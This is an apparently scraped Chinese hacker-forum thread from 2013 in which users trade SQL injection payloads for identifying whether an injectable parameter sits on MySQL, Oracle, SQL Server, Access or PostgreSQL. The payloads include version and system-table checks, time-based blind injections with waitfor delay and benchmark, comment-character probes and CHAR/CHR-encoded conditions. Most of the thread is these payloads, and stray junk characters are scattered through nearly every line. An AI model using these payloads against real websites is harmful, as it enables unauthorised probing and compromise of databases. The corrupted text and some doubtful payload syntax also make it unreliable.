一个注射点如何最快速确认是什么类型数据库
5 s: x" F$ [! X3 axsser (十根阳具有长短!!) | 2013-02-05 12:36
S* {% B- i6 A8 e9 K; P8 n假设这么一个注射点:
5 }/ h; G ~6 q. \show.html?id=2, ^' m+ A- b5 N; g+ S1 C
mysql:id=2 and version()>05 D# V6 q* X% C- c6 d
oracle:id=2 and '1'||'1'='11
7 z1 ` z- ?8 P6 @% {其他的欢迎补充
/ \! h1 S- Y& H9 O* _1#
7 a( `, l. P) V" M9 }, Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
4 d9 k" ~" C& ]+ N, ?0 b8 X) C6 _5 dAccess:4 w' O; T! P+ l. n# J4 e
aNd aSc(cHr(97))=97
( E z- k) X- w, T. D9 H$ Pand exists(select id from MSysAccessObjects)( b' X7 c' V, q7 h& s
SQL Server: C* v8 a5 q4 t, w8 h& C: L* o
and exists(select id from sysobjects)9 v7 s9 s% g. f9 l
and length(user)>05 i3 y+ D5 I* ]8 K+ e: j
MySQL:
; U# R; n5 y6 n$ l Uand length(user())>0% `8 H6 k! w0 G3 Y. E! F
2#
; \7 z3 c/ R) D lxsser (十根阳具有长短!!) | 2013-02-05 12:48 X" I8 Q$ l* `3 i3 R4 U
@upload 如果这些都不是呢…$ N( v9 C* e! X/ ~! g
3#" `% r* a5 p, u2 B1 b$ v0 @# |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03" \7 Q" n+ E/ V' r* o3 t
@xsser 不快速的,延时注入; t1 c3 ^7 v3 Q4 B0 @! F
不知道这样写对不对( W6 a r- d4 g; g
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
( U% _& E! a+ X3 \! z( J! N/ Q" Kmysql:id=2 and select benchmark(1e8,current_date());
( E. E N8 J6 I* D" _! m4#0 O) `# Q: c0 A+ U( B# Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10- ]8 k- A4 V# D( N2 D
最快的貌似是看报错信息
/ p9 y- G, a$ q: l) d1 Yoracle error
% f7 W4 k( R" m" j! o: X: ~mssql error
; s0 B2 Q# x A, o( p1 }1 kmysql error) C" _4 J, n* b. F* O7 \3 t
5#! O; l# p$ k2 p# m( k
Nimda (你们都是坏银~) | 2013-02-05 13:14; V' L: u7 y" R \; t% G M0 p: @
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 G+ p% }% I4 Y1 \: m6#& ]5 I7 b! x" O. ^4 i
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 I8 O* i! a) e2 K9 M“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:2 F" S, R4 J8 F B' L
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
9 N( r: O$ W7 t6 c! w; ?. D9 X7 ~“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。/ Q( P7 x' D v' ~' ~
7#
& c! L! E7 u& R& I0 `_Evil (HackEnd) | 2013-02-05 13:33" h$ q/ E: ^% h, T. m/ z2 x
PostgreSQL$ \, [/ V4 _1 Y
8#& J& U" V- a" s+ \( l
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
7 C* _6 {5 x1 C2 m切换编码 and 1=1
" S6 c; g/ K) ?! Voracle:( F+ I/ |" Z+ H, ^8 m q
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)' E: N) S/ ]) ?' y& J
mssql:8 G: ?( P& ?* B6 u+ D4 q& ]* \3 H
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)/ ` x1 W2 L, S0 a1 _) {+ u9 ~
mysql:6 i9 {3 J' J" t* a; l
CHAR(97, 110, 100, 32, 49, 61, 49)
0 D7 q' E: }0 \/ n4 i4 U8 S9 T9#
9 `1 `" c, N. t0 C! ~xsser (十根阳具有长短!!) | 2013-02-05 14:31
# U# u& \ C6 `@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?. |, t4 [4 o. r& T" b2 M
10#
3 F/ _# t5 Y7 g' Y% X Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
( Q6 Q6 j! S M5 P' `@xsser 是奇葩数据库类型的么?
' m/ C. v) d: a( v8 z" m ^ Y- [根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
# [ v* K( ]. ?# M# F x8 |1.是否可以使用特定的函数来判断,该数据库特有的
- M0 l+ a+ d/ R5 F2 q2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
l% j3 ^" a1 O0 E; `3.是否可以编码查询
M! ^0 U; r S7 B: z o4.是否显可以利用错信息
r5 o" p$ C) E& P& }5.是否存在数据库某些特性辅助判断: h- x& e3 d# l7 a/ M, T
个人见解
: U# W" M! J6 Z) p$ F: R3 u$ B11#; m& c) g0 C2 X, \& ^
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
% V$ X9 i6 _% ~6 M已收藏,mssql可以直接看到错误提示的吧~% m) ^& m& |0 l$ Z9 f: l9 T. e* ]
12#6 J6 q9 A& l# e( U' D
Passer_by | 2013-02-05 15:09
. t# }. Q( Q! D$ a" W9 W" D# s. j曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。0 E: _) X4 e4 x b* {+ B; n
from:http://zone.wooyun.org/content/260 |